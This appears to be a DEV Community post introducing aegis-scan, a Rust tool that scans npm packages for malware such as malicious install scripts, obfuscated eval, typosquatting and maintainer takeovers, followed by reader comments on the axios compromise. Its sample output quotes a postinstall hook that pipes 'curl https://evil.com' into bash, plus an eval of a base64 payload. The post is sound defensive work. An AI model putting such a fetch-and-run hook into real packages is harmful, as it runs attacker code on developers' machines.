DEV Community

Pool Camacho
Pool Camacho

Posted on

I built an npm malware scanner in Rust because npm audit isn't enough

Last week I ran npm install on a new project. 847 packages downloaded in twelve seconds. And I thought: what if one of those just stole my AWS keys?

Not a crazy thought. It happened before.

In 2018, event-stream got a new maintainer who slipped in code that stole cryptocurrency wallets. Two million weekly downloads. In 2021, ua-parser-js was hijacked to install cryptominers. In 2022, the author of colors.js broke it on purpose, taking down thousands of projects overnight.

All of them passed npm audit with zero warnings.

npm audit only catches what someone already reported

npm audit checks a database of known vulnerabilities. If nobody filed a report yet, it stays silent. That gap between "malicious code gets published" and "someone notices" can be days or weeks. By then, you already have it in your node_modules.

Snyk and Socket are better at this, but they're SaaS. You need an account, sometimes a paid plan, and your code goes to their servers for analysis.

I wanted something different: a tool that downloads the package, looks at the actual code, and tells me if something looks wrong. Locally. No accounts. No cloud.

So I built aegis-scan.

What it does

aegis-scan is a Rust CLI. You point it at a package and it tells you if the code looks suspicious:

$ aegis-scan check suspicious-pkg@1.0.0

  📦 suspicious-pkg@1.0.0

  ⛔ CRITICAL: Code Execution
  │  eval() with base64 encoded payload
  │  📄 lib/index.js:14
  │  └─ eval(Buffer.from("d2luZG93cy...", "base64").toString())

  ⚠️  HIGH: Install Script
  │  postinstall downloads and executes remote script
  │  📄 package.json
  │  └─ "postinstall": "curl https://evil.com | bash"

  Risk: 8.5/10
Enter fullscreen mode Exit fullscreen mode

It downloads the tarball from npm, extracts it, and runs 9 different analyzers on the code. Then gives you a score from 0 to 10.

What it catches

Obfuscated eval with encoded payloads. The #1 pattern in npm malware. aegis-scan uses tree-sitter to parse the JavaScript AST, so it catches these even when spread across multiple statements.

Suspicious install scripts. A postinstall that runs curl | bash is how most npm attacks get code execution. aegis-scan flags any shell commands or network calls in lifecycle scripts.

Maintainer takeovers. When a package suddenly gets a new maintainer (like event-stream did), that's a red flag. aegis-scan checks the npm registry metadata for ownership changes.

AI hallucination packages. ChatGPT and Copilot sometimes suggest packages that don't exist. Attackers register those names with malicious code. aegis-scan flags packages that look like they were created just to catch this.

Known CVEs. Checks against the OSV.dev vulnerability database.

Typosquatting. Catches axois instead of axios, lodassh instead of lodash.

Getting started

cargo install aegis-scan

# check one package
aegis-scan check axios

# scan your whole project
aegis-scan scan .

# scan and then install
aegis-scan install express
Enter fullscreen mode Exit fullscreen mode

If you don't have Rust, grab a binary from the releases page.

CI integration

You can add it to your GitHub Actions pipeline:

- uses: z8run/aegis-action@v1
  with:
    path: '.'
    fail-on: 'high'
    sarif: 'true'
Enter fullscreen mode Exit fullscreen mode

With sarif: true, results show up in GitHub's Security tab. The action fails the build if any dependency is rated HIGH or CRITICAL.

How it works

aegis-scan pulls the package tarball, extracts it to a temp dir, and runs these analyzers:

  1. Static code analysis (regex patterns for eval, child_process, env harvesting)
  2. AST analysis (tree-sitter parses JS to catch structural patterns regex misses)
  3. Install script analysis (preinstall/postinstall hooks)
  4. Obfuscation detection (entropy analysis, encoded payloads)
  5. Maintainer tracking (ownership changes, new accounts)
  6. Hallucination detection (fake packages from LLM suggestions)
  7. CVE lookup (OSV.dev)
  8. Typosquatting check
  9. Custom YAML rules

Findings get weighted by severity and summed into a 0-10 risk score. Results are cached for 24 hours so repeated checks are instant.

It's Rust, so scanning 50+ dependencies takes a few seconds, not minutes.

Custom rules

You can add your own detection rules as YAML files:

id: "CUSTOM-001"
name: "Crypto wallet regex"
severity: high
pattern: "(?:bc1|[13])[a-zA-HJ-NP-Z0-9]{25,39}"
file_pattern: "*.js"
Enter fullscreen mode Exit fullscreen mode

Drop them in a rules/ directory or pass --rules ./my-rules/.

Open source

MIT license. Code is at github.com/z8run/aegis.

Try running aegis-scan scan . on your current project. You might be surprised.

If you find it useful, a star on the repo helps other devs find it. And if it catches something real, I'd love to hear about it.

Top comments (4)

Collapse
 
zalithka profile image
Andre Greeff • Edited

this is seriously cool stuff, thank you for sharing it with us... :)

FYI, I just shared a comment on the "PC Security Channel" video posted earlier about the Axios issue to let people know about your GH repo.. if it has the intended effect, you should see a nice little bump in the star count before too long! EDIT: YouTube keeps deleting my comment... tried 3 times now, and each time after I refresh the page, it's gone. fml.

Collapse
 
zalithka profile image
Andre Greeff

just so you know, I asked Claude if your tool would have helped to detect this Axios issue, and this was the response:

Yes, based on the README, Aegis would very likely have caught this attack — and through multiple detectors, not just one:

Would have caught it:

  • Install scripts analyzer — the attack's entire payload was delivered via a postinstall hook in plain-crypto-js. Aegis explicitly flags suspicious postinstall/preinstall commands, and the example in the README even shows this exact pattern (postinstall downloading and executing a remote script) as a HIGH finding.
  • Maintainer tracking — Aegis tracks "ownership transfers, new accounts, takeovers." The attack had a clear signal here: the maintainer email on the compromised axios versions changed from jasonsaayman@gmail.com to a Proton Mail address, and the publish method changed from OIDC to direct CLI.
  • Dependency tree — Aegis does recursive transitive dependency scanning, so even if you were just checking axios directly, it would have pulled in and analysed plain-crypto-js.
  • Static code / AST analysis — plain-crypto-js's setup.js dropper contained obfuscated code making outbound network calls to download and execute payloads, which maps to Aegis's detection of network exfiltration and env harvesting patterns.
  • Obfuscation detection — the dropper was double-obfuscated with encoded payloads, which Aegis flags via high entropy / base64 payload detection.

so, yeah... VERY cool stuff.

Collapse
 
poolcamacho profile image
Pool Camacho

Thanks Andre! Really cool that you validated this against the actual axios attack. Your Claude analysis nailed it, the attack hit at least 5 independent detection vectors that aegis-scan covers.

I actually just published a full technical breakdown of the axios compromise and how each analyzer would have flagged it: The Axios Attack Proved npm audit Is Broken. Here's What Would Have Caught It

The crazy part is how simple the attack was. A postinstall hook, basic XOR obfuscation, and a raw HTTP C2. And it still worked because npm audit can't flag what isn't in the advisory database yet.

Sorry to hear YouTube kept eating your comments on the PC Security Channel video. If you have a link to the video I'd love to check it out, and if the channel is interested I'm happy to do a live demo of aegis catching the axios payload.

Thanks for spreading the word. Contributions and feedback always welcome on the repo 🤝

Thread Thread
 
zalithka profile image
Andre Greeff

it was crazy simple indeed, but also the frequency with which we're seeing attacks like this these days is pretty concerning.. I feel like we actually need some sort of install-time safety checks now.

the YT video I was referring to is over here if you want to check it out: youtu.be/7Kj8O0rdmW4?si=ReK1w0xbwx...